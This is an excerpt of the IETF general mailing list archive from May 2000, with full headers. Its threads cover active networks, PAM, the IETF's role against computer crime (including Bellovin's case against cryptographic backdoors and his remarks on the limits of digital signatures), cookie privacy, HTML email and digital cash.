X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id EAA27567
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

You can get some information from the following links:

-Kumar

http://www.cc.gatech.edu/projects/canes/publications.html

http://www.cis.upenn.edu/~switchware/ 

http://www.cis.upenn.edu/~boosters/p4home.html



>>> <knarayan@in.ibm.com> 05/22/00 11:05AM >>>

Hi,

I would like to get some info on Active Network. Can somebody help ?

Narayanan.K,
knarayan@in.ibm.com 





From owner-ietf-outbound  Mon May 22 04:40:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA27817
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 04:40:03 -0400 (EDT)
Received: from smtp.mail.yahoo.com (smtp.mail.yahoo.com [128.11.68.32])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA27747
	for <ietf@ietf.org>; Mon, 22 May 2000 04:34:46 -0400 (EDT)
Received: from ppp-203-197-9-201.bom.vsnl.net.in (HELO muralidharan) (203.197.9.201)
  by smtp.mail.yahoo.com with SMTP; 22 May 2000 01:34:42 -0700
X-Apparently-From: <raghavan?muralidharan@yahoo.com>
Message-ID: <003e01bfc3c8$c6d226c0$1000a8c0@muralidharan>
Reply-To: "R. Muralidharan" <r.muralidharan@IEEE.ORG>
From: "R. Muralidharan" <raghavan_muralidharan@yahoo.com>
To: <knarayan@in.ibm.com>, <ietf@ietf.org>
References: <CA2568E7.00207255.00@d73mta05.au.ibm.com>
Subject: Re: Active networks
Date: Mon, 22 May 2000 14:06:03 +0530
Organization: OSS Systems (India) Pvt Ltd/IEEE Bombay section
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi Narayan,

      You may refer the IEEE publication : COMPUTER, April 1999 issue which
is a special one on ACTIVE NETWORKS. Visit http://computer.org and navigate
to see the abstract of the article issue.

muralidharan

----- Original Message -----
From: <knarayan@in.ibm.com>
To: <ietf@ietf.org>
Sent: Monday, May 22, 2000 11:05 AM
Subject: Active networks


>
> Hi,
>
> I would like to get some info on Active Network. Can somebody help ?
>
> Narayanan.K,
> knarayan@in.ibm.com
>


__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com



From owner-ietf-outbound  Mon May 22 05:00:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA28008
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 05:00:02 -0400 (EDT)
Received: from tclux14.cec.lu (tclux14.cec.lu [158.169.9.51])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA27981
	for <ietf@ietf.org>; Mon, 22 May 2000 04:59:20 -0400 (EDT)
Received: from tclux14.cec.lu (localhost [127.0.0.1])
	by tclux14.cec.lu (8.9.3+Sun/8.9.3) with ESMTP id KAA08316;
	Mon, 22 May 2000 10:58:35 +0200 (MET DST)
Received: from MX6.CEC.BE (mx6.cec.be [158.169.131.17])
	by tclux14.cec.lu (8.9.3+Sun/8.9.3) with SMTP id KAA08312;
	Mon, 22 May 2000 10:58:34 +0200 (MET DST)
Received: by MX6.CEC.BE (Soft-Switch LMS 3.2) with x400 via DCNBRU1
          id 0057330020616283; Mon, 22 May 2000 10:55:17 +0200
X400-Received: by /PRMD=CEC/ADMD=RTT/C=BE/; Relayed;
               Mon, 22 May 2000 10:43:21 +0200
X400-Originator: Gordon.LENNOX@cec.eu.int
X400-Recipients: non-disclosure:;
X400-MTS-Identifier: [/PRMD=CEC/ADMD=RTT/C=BE/;0057330020616283000002L332]
X400-Content-Type: P2-1988 (22)
Content-Identifier: Re: Should IETF 
Date: Mon, 22 May 2000 10:43:21 +0200
From: Gordon Lennox <Gordon.LENNOX@cec.eu.int> (Tel +32-2-29.6-3546)
To: <ietf@ietf.org>
Cc: <jpalme@DSV.SU.SE>
Subject: Re: Should IETF do more to fight computer crime?
Message-ID: <WIN937-000522090244-606F*/G=Gordon/S=LENNOX/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
In-Reply-To: <v04210102b54c9601e1fc@[193.173.137.42]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org

One current international position on "Crime in Cyberspace" can be found in the draft Council of Europe Convention. This was released for public comment towards the end of April. See:

 conventions.coe.int/treaty/en/projets/cybercrime.htm

Information on the Council of Europe can be found at:

 www.coe.fr/eng/present/about.htm

Scott Bradner gave a presentation at the G8 hi-tech crime event in Paris last week. (This was the invitation Fred Baker mentioned during the plenary in Adelaide.) It would be very interesting to get Scott's views, an IETF view, on how it went in Paris and on what the G8 is doing...

Gordon

------------------------
European Commission
Information Society DG
Office Bu33 5-80
rue de la Loi 200
B-1049 Bruxelles

Tel: +32-2-29.6-3546

gordon.lennox@cec.eu.int
========================



From owner-ietf-outbound  Mon May 22 09:10:59 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA01611
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 09:10:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA01470
	for <ietf@ietf.org>; Mon, 22 May 2000 09:01:36 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id GAA01305;
	Mon, 22 May 2000 06:01:10 -0700 (PDT)
Date: Mon, 22 May 2000 06:01:10 -0700 (PDT)
Message-Id: <200005221301.GAA01305@shell9.ba.best.com>
Subject: asynchronous audio conferencing at www.wimba.com
To: ietf@ietf.org
From: James Salsman <james@bovik.org>
X-Loop: ietf@ietf.org

There is finally a cross-platform, quasi-web-based system for 
asynchronous audio conferencing:

  http://www.wimba.com

This system is new and worth exploring.  It uses Java applets 
for microphone input, and has a full range of features already. 

The great benefit is the enabling of asynchronous ("any time, any 
place") spoken language instruction.  Previously there have been 
no real solutions for that need.

"Wimba.com is led by Professor Keith Ross, formerly professor at 
the University of Pennsylvania (Engineering and Wharton Schools) 
and professor in the multimedia communications department at 
Institut Eurécom." (France)

Cheers,
James



From owner-ietf-outbound  Mon May 22 09:50:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA02353
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 09:50:02 -0400 (EDT)
Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA02098
	for <ietf@ietf.org>; Mon, 22 May 2000 09:45:45 -0400 (EDT)
Received: (from sob@localhost)
	by newdev.harvard.edu (8.9.3/8.9.3) id JAA07247;
	Mon, 22 May 2000 09:45:24 -0400 (EDT)
Date: Mon, 22 May 2000 09:45:24 -0400 (EDT)
From: Scott Bradner <sob@harvard.edu>
Message-Id: <200005221345.JAA07247@newdev.harvard.edu>
To: Gordon.LENNOX@cec.eu.int, ietf@ietf.org
Subject: Re: Should IETF do more to fight computer crime?
Cc: jpalme@DSV.SU.SE
X-Loop: ietf@ietf.org

> Scott Bradner gave a presentation at the G8 hi-tech crime event in Paris last
> week 

the presentation is at:
http://golem.sobco.com/presentations/2000.05.17-g8/index.htm

since the real work of the confreence was done in private it was hard
to tell what was actually going on.  But the presentations were
mostly content free.  

2 or 3 of the presentations actually had some content and reality
about the Internet - one from an Intel rep and another from someone
from Canada (his card is at home and I do not remember his name)
stood out.

the government/police presentations generally called for consistant
rules between countries, a 24/7 support center or traceability

I had to leave before the final discussion session so do not
know what happened there

Scott



From owner-ietf-outbound  Mon May 22 10:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA02748
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 10:10:02 -0400 (EDT)
Received: from mercury.lss.emc.com (mercury.eng.emc.com [168.159.40.77])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02606
	for <ietf@ietf.org>; Mon, 22 May 2000 10:02:13 -0400 (EDT)
Received: by mercury.eng.emc.com with Internet Mail Service (5.5.2650.21)
	id <KKFST4XS>; Mon, 22 May 2000 10:07:18 -0400
Message-ID: <8A7271ACBE5BD311A4D50090273BF023633BA3@montana.lss.emc.com>
From: "nandyalam, rajesh" <nandyalam_rajesh@emc.com>
To: "'Kumar Subramanian'" <KSubramanian@novell.com>, ietf@ietf.org,
        knarayan@in.ibm.com
Subject: RE: Active networks
Date: Mon, 22 May 2000 09:58:59 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org



Hi,

	Could anybody send me some info on PAM ( Pluggable authentication
modules) on Solaris 8. I would like to implement PAM in my application to
make it work in Kerberos environment. Could anybody help me out in this
issue.

Thanks in advance,
Rajesh.

		-----Original Message-----
		From:	Kumar Subramanian [mailto:KSubramanian@novell.com]
		Sent:	Monday, May 22, 2000 4:01 AM
		To:	ietf@ietf.org; knarayan@in.ibm.com
		Subject:	Re: Active networks

		You can get some information from the following links:

		-Kumar

		http://www.cc.gatech.edu/projects/canes/publications.html

		http://www.cis.upenn.edu/~switchware/ 

		http://www.cis.upenn.edu/~boosters/p4home.html



		>>> <knarayan@in.ibm.com> 05/22/00 11:05AM >>>

		Hi,

		I would like to get some info on Active Network. Can
somebody help ?

		Narayanan.K,
		knarayan@in.ibm.com 

		



From owner-ietf-outbound  Mon May 22 11:30:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA03706
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 11:30:01 -0400 (EDT)
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03588
	for <ietf@ietf.org>; Mon, 22 May 2000 11:21:57 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-green.research.att.com (Postfix) with ESMTP
	id 2333F1E052; Mon, 22 May 2000 11:21:58 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id LAA06692;
	Mon, 22 May 2000 11:21:57 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 1D32F35DC2; Mon, 22 May 2000 11:21:56 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Jacob Palme <jpalme@DSV.SU.SE>
Cc: IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime? 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 22 May 2000 11:21:55 -0400
Sender: smb@research.att.com
Message-Id: <20000522152156.1D32F35DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <v04210102b54c9601e1fc@[193.173.137.42]>, Jacob Palme writes:
>Should IETF do anything to fight the increasing incidences
>of net criminality? Can we do anything? Can the protocols,
>which IETF manages, be modified so as to make it easier
>to fight virus distribution, mail bombing, ping attacks
>and the other ways in which people are harassing the
>Internet?
>
>Or would such changes to the Internet protocols mean
>more invasion of privacy, in a way which is even less
>acceptable than letting the criminals continue? It seems
>that there is a strong group in IETF which likes the
>freedom of the net and believes that changes to stop
>criminal usage would also remove this freedom? Is this
>true, or can we fight net criminaltiy without risking
>the freedom of the net?

Harald made some very good points; let me just add a few more.

First -- as a computer security professional, I'm certainly concrned 
about "cybercrime".  But the changes you suggest cut both ways.  I 
don't know how to weaken a security protocol selectively, so that only 
"good guys" can read the traffic.  Apart from varying definitions of 
what is good and bad -- and even the major democracies on this planet 
have very different standards on that -- a hole is a weakness, and 
requires much more complexity to protect that hole.  Complexity is, in 
itself, a security problem; in my opinion, and in the opinion of most 
(though, of course, not all) of the security folks in the IETF, adding 
any sort of back door to our cryptographic protocols would create far 
more security problems than it would solve.  (For more on this line of 
reasoning, see http://www.cdt.org/crypto/risks98.)  

There is also a major limit to the utility of strong authentication for 
tracing back attacks:  just as the bad guys use other folks' computers 
to launch their attacks, they will also use others' cryptographic 
credentials.  I'm far from convinced, for example, that the LOVEBUG 
virus would have been prevented were all mail digitally signed, because 
I strongly suspect that the attack would have invoked a digital 
signature API to generate digitally-signed copies of itself.  The real 
effect of such a policy would be a vast decrease in privacy on the net. 
(I note that the EU has very strong privacy protection laws, and U.S. 
law strongly protects anonymity as necessary for free political speech.)

In short -- yes, there are problems, but the best approach for the IETF 
is to design, build, and deploy stronger systems.

		--Steve Bellovin




From owner-ietf-outbound  Mon May 22 12:30:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA04600
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 12:30:03 -0400 (EDT)
Received: from cuimail.unige.ch (cuimail.unige.ch [129.194.69.50])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA04575
	for <ietf@ietf.org>; Mon, 22 May 2000 12:28:27 -0400 (EDT)
From: Bertrand.Ibrahim@cui.unige.ch
Received: from cuimail.unige.ch ([129.194.69.17])
 by cuimail.unige.ch (PMDF V5.2-32 #37942)
 with ESMTP id <0FUY002KAZ3DIG@cuimail.unige.ch> for ietf@ietf.org; Mon,
 22 May 2000 18:28:25 +0200 (MET DST)
X-URL: http://cui.unige.ch/eao/www/Bertrand.html
Date: Mon, 22 May 2000 18:28:23 +0200
X-Face: $LChH{%os*16AP:(5pI<*1fqtXx?14aOqKLUfv{>&:+,G6Y+ei9aTSM:D,ie2w=~vr9nsSj
 FY4bH+)|=<_V|1@4";>_aJ}QxqfL['1]O3i`)wmc]#,^4Ny#&_|k?EEcrb7aIle|fs742v:5WjNM9#
 ufe5itBNu-z*[']\@b|ut#z,r8b#ax^CsUUku2I#bgvZ&XxZ/kc#7Gi{5OB%h88yly"YZG*u}jD^tL
 wUfdV#%YU.|hU|HEOfSCGxb
Subject: Re: Should IETF do more to fight computer crime?
To: "Steven M. Bellovin" <smb@research.att.com>
Cc: Jacob Palme <jpalme@DSV.SU.SE>, IETF general mailing list <ietf@ietf.org>
Message-id: <0FUY002KBZ3DIG@cuimail.unige.ch>
MIME-version: 1.0
X-Mailer: exmh version 2.0.2 2/24/98
Content-type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

Steve Bellovin <smb@RESEARCH.ATT.COM> said:
> I'm far from convinced, for example, that the LOVEBUG  virus would
> have been prevented were all mail digitally signed, because  I
> strongly suspect that the attack would have invoked a digital
> signature API to generate digitally-signed copies of itself.

I would hope that any software I use, that is able to put my digital signature
on some data, would ask me for my pass-phrase every time my private key is 
used. I would even hope that such software wouldn't be able to use my private
key without the pass-phrase, otherwise anybody with access to my computer could
easily forge my signature.

If this requirement is not met, the digital signature has no value.

Peace,

Bertrand Ibrahim.
--------------------------------------------
Bertrand.Ibrahim@cui.unige.ch
http://cui.unige.ch/eao/www/Bertrand.html



From owner-ietf-outbound  Mon May 22 12:40:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA04785
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 12:40:03 -0400 (EDT)
Received: from europe.std.com (europe.std.com [199.172.62.20])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA04624
	for <ietf@ietf.org>; Mon, 22 May 2000 12:30:26 -0400 (EDT)
Received: from world.std.com (brunner@world-f.std.com [199.172.62.5])
	by europe.std.com (8.9.3/8.9.3) with ESMTP id MAA06490;
	Mon, 22 May 2000 12:30:23 -0400 (EDT)
Received: from localhost (brunner@localhost)
	by world.std.com (8.9.3/8.9.3) with SMTP id MAA05537;
	Mon, 22 May 2000 12:30:17 -0400 (EDT)
Message-Id: <200005221630.MAA05537@world.std.com>
X-Authentication-Warning: world.std.com: brunner@localhost didn't use HELO protocol
To: http-state@lists.bell-labs.com, www-p3p-interop@W3.ORG
cc: ietf@ietf.org, mozilla-general@mozilla.org
Subject: New mailing list for data protection & privacy (cookies et al)
Mime-Version: 1.0
Content-Type: text/plain
Date: Mon, 22 May 2000 12:30:17 -0400
From: Eric Brunner <brunner@world.std.com>
X-Loop: ietf@ietf.org


I've set up a mailing list for discussion of policy implications of http
cookies, and other persistent session artifacts which may be used as
identifiers. We've list(s) for discussion of the mechanism(s), e.g., Tom
Limoncelli's http-state list, the W3C P3P interop list, the mozilla general
list, and of course the overworked ietf general list. These all tend to
progress towards implementations, not towards user documentation.

What I'd like to see is something along the lines of a draft in the IETF's 
User Services Area which is updated to reflect the changes of mechanism(s)
employed, and what effect these have for user data protection and on-line
privacy, modified for the browser, host and "idiot's guide" genre of user
documentation. Rather than write a -00.txt draft first, then solicit any
technical contributions, I've set up the contribution list first.

Writing for the IESG, Keith Moore and Ned Freed have produced "Use of HTTP 
State Management" <draft-iesg-http-cookies-03.txt>, intended as a BCP RFC.
This is a step in the right direction, and one that can be improved upon
and made "accessible" to the general reader.

To subscribe, simply send mail to:

	cookie-cutters-request@world.std.com

The usual majordomo rules apply.

Cheers,
Eric



From owner-ietf-outbound  Mon May 22 12:50:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA05035
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 12:50:03 -0400 (EDT)
Received: from camaleon.lander.es ([212.95.212.2])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04934
	for <ietf@ietf.org>; Mon, 22 May 2000 12:46:15 -0400 (EDT)
Received: (qmail 31395 invoked from network); 22 May 2000 16:46:16 -0000
Received: from lince.lander.es (195.76.46.35)
  by camaleon.lander.es with SMTP; 22 May 2000 16:46:16 -0000
Received: (qmail 24667 invoked from network); 22 May 2000 16:46:15 -0000
Received: from ppp-47-223.lander.es (HELO salva) (195.76.47.223)
  by lince.lander.es with SMTP; 22 May 2000 16:46:15 -0000
Message-Id: <3.0.6.32.20000522185323.0079fb00@lince.lander.es>
X-Sender: svidal@lince.lander.es
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Mon, 22 May 2000 18:53:23 +0200
To: Jacob Palme <jpalme@DSV.SU.SE>
From: Salvador Vidal <svidal@lander.es>
Subject: Re: HTML in e-mail (Was: VIRUS WARNING)
Cc: ietf@ietf.org
In-Reply-To: <v04210112b541f201336f@[130.237.150.138]>
References: < <00ae01bfbb7b$c7f8b500$4cc8a8c0@clearaccess.net>
 <00ae01bfbb7b$c7f8b500$4cc8a8c0@clearaccess.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id MAA04934
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Hello Jacob,

At 19:51 12/05/00 +0200, Jacob Palme wrote:
>At 13.59 -0400 0-05-11, Scot Mc Pherson wrote:
>> 	I am not so sure I totally agree. Why exactly do we need HTML based
>> e-mail...Is it really necessary? E-mail is a service for transmitting a
>> written message, and written messages certainly don't require background
>> graphics or a full blown graphically based webpage.
>
>Why should not graphics be of value in e-mail, when it is of
>value in most other media like web pages, books, newspapers,
>magazines, etc? Why should the e-mail medium not benefit
>from graphics to enhance understandability and readability?
>

Much more, I like the posiblity to add inteligence on e-mail address and
HTML not only in the body, I like it i.e. in the "acuse de recibo" (sorry I
dont know the name of this in English it´s when you sing that you get a
message), for instance in this mesage I can  put bottons when people in
this list can click, one saying you are idiot, another go ahead i like it,
other I don´t understand you,... so I can get feedback for the people in
this list that don´t reply but maybe like to click in a buttom.

Of course not only text buttoms, you know painters when something is bad
say that its purple, something neutro they call it green, something cool is
yellow, so may be a painters list group want a "acuse de recibo" of one
colour and when you put a message you get a mix of the colours in a picture
as feedback, or musicians do something similar with music, or yoguis that
can control they heart pulsations transmit their pulsations for
coordination of their hearts in a yoga experience,... who knows the best
way to get the feedback goal of simbiosis whith others?, we cann´t put
limits to cultural manifestations but those which come from security and
privacy issues as well as give efective filtering posibilities for users.

Best Regards,
Salva 

>Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
>for more info see URL: http://www.dsv.su.se/jpalme/
>
>
>



From owner-ietf-outbound  Mon May 22 13:00:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA05262
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 13:00:05 -0400 (EDT)
Received: from camaleon.lander.es ([212.95.212.2])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04941
	for <ietf@ietf.org>; Mon, 22 May 2000 12:46:26 -0400 (EDT)
Received: (qmail 31432 invoked from network); 22 May 2000 16:46:27 -0000
Received: from lince.lander.es (195.76.46.35)
  by camaleon.lander.es with SMTP; 22 May 2000 16:46:27 -0000
Received: (qmail 24721 invoked from network); 22 May 2000 16:46:22 -0000
Received: from ppp-47-223.lander.es (HELO salva) (195.76.47.223)
  by lince.lander.es with SMTP; 22 May 2000 16:46:22 -0000
Message-Id: <3.0.6.32.20000522185331.008c4340@lince.lander.es>
X-Sender: svidal@lince.lander.es
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Mon, 22 May 2000 18:53:31 +0200
To: Musandu <musandu@arcc.or.ke>
From: Salvador Vidal <svidal@lander.es>
Subject: Re: Financial Standards Work group?
Cc: ietf@ietf.org
In-Reply-To: <200005140733.KAA03422@arcc.or.ke>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Hello Nyagudi,

At 10:33 14/05/00 +0300, you wrote:
>It may just be time for the IETF to develop a financial standards work group
>seperate from the applications work group.  I can even forsee a Simple Cash
>Transfer Protocol? any objections?

As a consumer I will like the posibility of doing anonimous transactions.

As a small trader I like the smallest transactions comisions.

So I like something like the real cash that can be transmited from one
computer to other with anonimate and without financial traders intervection.  

It will have almost the same fraud problem than copyrright protection
systems, not only I reconize that I was to dogmatimac about their general
crash of protection systems but also cash systems has and avantege,
citizens will imidiatly check the false cash, so perhaps with this citizens
colaboration fraud can be quickly stoped, I think that the cost of money
check will be much more less than trasactions cost.

Sure that VISA and citibank have a diferent point of view, but I realy
think that if you foorsee a cash service with the anonimous and lowest
comisions caracteristics you will bring a great impulse to e-comerce. 

>Yours sincerely,
>Nyagudi Musandu
>

Best Regards,
Salva

P.D. If you need help for this ask back-up insdustrie, they will be very
happy if people have money at their computers.



From owner-ietf-outbound  Mon May 22 13:10:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA05626
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 13:10:03 -0400 (EDT)
Received: from camaleon.lander.es ([212.95.212.2])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04948
	for <ietf@ietf.org>; Mon, 22 May 2000 12:46:29 -0400 (EDT)
Received: (qmail 31440 invoked from network); 22 May 2000 16:46:30 -0000
Received: from lince.lander.es (195.76.46.35)
  by camaleon.lander.es with SMTP; 22 May 2000 16:46:30 -0000
Received: (qmail 24758 invoked from network); 22 May 2000 16:46:28 -0000
Received: from ppp-47-223.lander.es (HELO salva) (195.76.47.223)
  by lince.lander.es with SMTP; 22 May 2000 16:46:28 -0000
Message-Id: <3.0.6.32.20000522185337.008c6c10@lince.lander.es>
X-Sender: svidal@lince.lander.es
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Mon, 22 May 2000 18:53:37 +0200
To: zozo <azaziz@ITI-IDSC.GOV.EG>
From: Salvador Vidal <svidal@lander.es>
Subject: Re: Mobile Ad hoc
Cc: ietf@ietf.org
In-Reply-To: <3736F3EB.9224F83D@iti-idsc.gov.eg>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id MAA04948
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Hello Zozo,

At 17:57 10/05/99 +0300, you wrote:
>What are the benefits from
>                "Integeration between Mobile IP and Ad hoc networks"?
>
>
I like a Integration wich allow small entrepenurials to develop aplications
for mobile, i.e. I think that will have a great future the games for
weekends and holidays wich combine virtuality and reality, mainly those
wich impulse human contacts on the real world...

Users will appreciate if we let entrepenurials to develop the aplications,
then some telecos CEO´s can continue their "creative" strategy: buy, buy,
buy...

Best Regards,
Salva



From owner-ietf-outbound  Mon May 22 13:20:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA05833
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 13:20:03 -0400 (EDT)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA05174
	for <ietf@ietf.org>; Mon, 22 May 2000 12:57:26 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id CFA964CE17; Mon, 22 May 2000 12:57:22 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id MAA08474;
	Mon, 22 May 2000 12:57:22 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id B0CCA35DC2; Mon, 22 May 2000 12:57:21 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Bertrand.Ibrahim@cui.unige.ch
Cc: Jacob Palme <jpalme@DSV.SU.SE>, IETF general mailing list <ietf@ietf.org>
Subject: Re: Should IETF do more to fight computer crime? 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 22 May 2000 12:57:21 -0400
Sender: smb@research.att.com
Message-Id: <20000522165721.B0CCA35DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <0FUY002KBZ3DIG@cuimail.unige.ch>, Bertrand.Ibrahim@cui.unige.ch wri
tes:
>Steve Bellovin <smb@RESEARCH.ATT.COM> said:
>> I'm far from convinced, for example, that the LOVEBUG  virus would
>> have been prevented were all mail digitally signed, because  I
>> strongly suspect that the attack would have invoked a digital
>> signature API to generate digitally-signed copies of itself.
>
>I would hope that any software I use, that is able to put my digital signature
>on some data, would ask me for my pass-phrase every time my private key is 
>used. I would even hope that such software wouldn't be able to use my private
>key without the pass-phrase, otherwise anybody with access to my computer coul
>d
>easily forge my signature.
>
>If this requirement is not met, the digital signature has no value.

Yup...

More precisely -- in the Holy Name of Convenience, many (most?) mailers 
permit a passphrase to be cached for some amount of time.  A virus 
could exploit that.  Or it could wait until you tried sending some 
signed mail, and grab the key then.  It could even wait, and then pop 
up its own key window that masquerades as the real one, followed by a 
box saying that you entered your passphrase incorrectly, and that you 
should retry it, in the real prompt.  There are operating system 
techniques that can prevent that latter attack, such as the "trusted 
path".  But trusted path support is rare on UNIX systems, and though 
Windows NT does use it for login passwords, I haven't yet seen a secure 
NT mailer that uses it.  (Btw -- though there are security risks here, 
there are also security risks in using such technologies, since if it's 
too inconvenient to send secure email, there will be more sent in the 
clear.  That's a risk, too; pick your poison.)

It's for reasons like these that it has been said that conventional 
signatures are weakly bound to a document, but strongly bound to the 
individual, while digital signatures are strongly bound to a document 
but weakly bound to an individual.  A digital signature provides proof 
that a particular private key was used to produce it.  Just who 
employed that key is a separate question, and one that must be 
carefully evaluated when deciding how much weight to attach to the 
signature.

		--Steve Bellovin




From owner-ietf-outbound  Mon May 22 13:50:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA06769
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 13:50:02 -0400 (EDT)
Received: from infidel.boolean.net (root@router.boolean.net [198.144.206.49])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06623
	for <ietf@ietf.org>; Mon, 22 May 2000 13:43:49 -0400 (EDT)
Received: from gypsy (gypsy.boolean.net [198.144.202.243])
	by infidel.boolean.net (8.9.3/8.9.3) with SMTP id RAA10957
	for <ietf@ietf.org>; Mon, 22 May 2000 17:43:40 GMT
	(envelope-from Kurt@OpenLDAP.org)
Message-Id: <3.0.5.32.20000522104339.00949b50@infidel.boolean.net>
X-Sender: guru@infidel.boolean.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Mon, 22 May 2000 10:43:39 -0700
To: IETF general mailing list <ietf@ietf.org>
From: "Kurt D. Zeilenga" <Kurt@OPENLDAP.ORG>
Subject: Re: Should IETF do more to fight computer crime? 
In-Reply-To: <20000522152156.1D32F35DC2@smb.research.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

<rant>
We must be careful not to classify our efforts as preventing crime.
Crime is matter of law and law is jurisdictional.  As the Internet
is crosses jurisdictional boundaries, there is not one clear
definition of law and hence no clear definition of crime.  And
crime is not always bad.  Some crime, such as civil disobedience
to promote basic human rights, is good.

I believe it appropriate to discuss such issues in the general
context of security.  We should continue to enumerate, discuss,
and resolve security considerations.  Though we might be driven
by our own needs (hopefully well intended),  protocols we develop
can and will be used for both legal and illegal activities
(regardless of our intent).

The IETF should focus on providing technology to implement
secure solutions irregardless of whether the solutions are
used for legal or illegal activities.
</rant>

Kurt




From owner-ietf-outbound  Mon May 22 14:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA07637
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 14:40:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
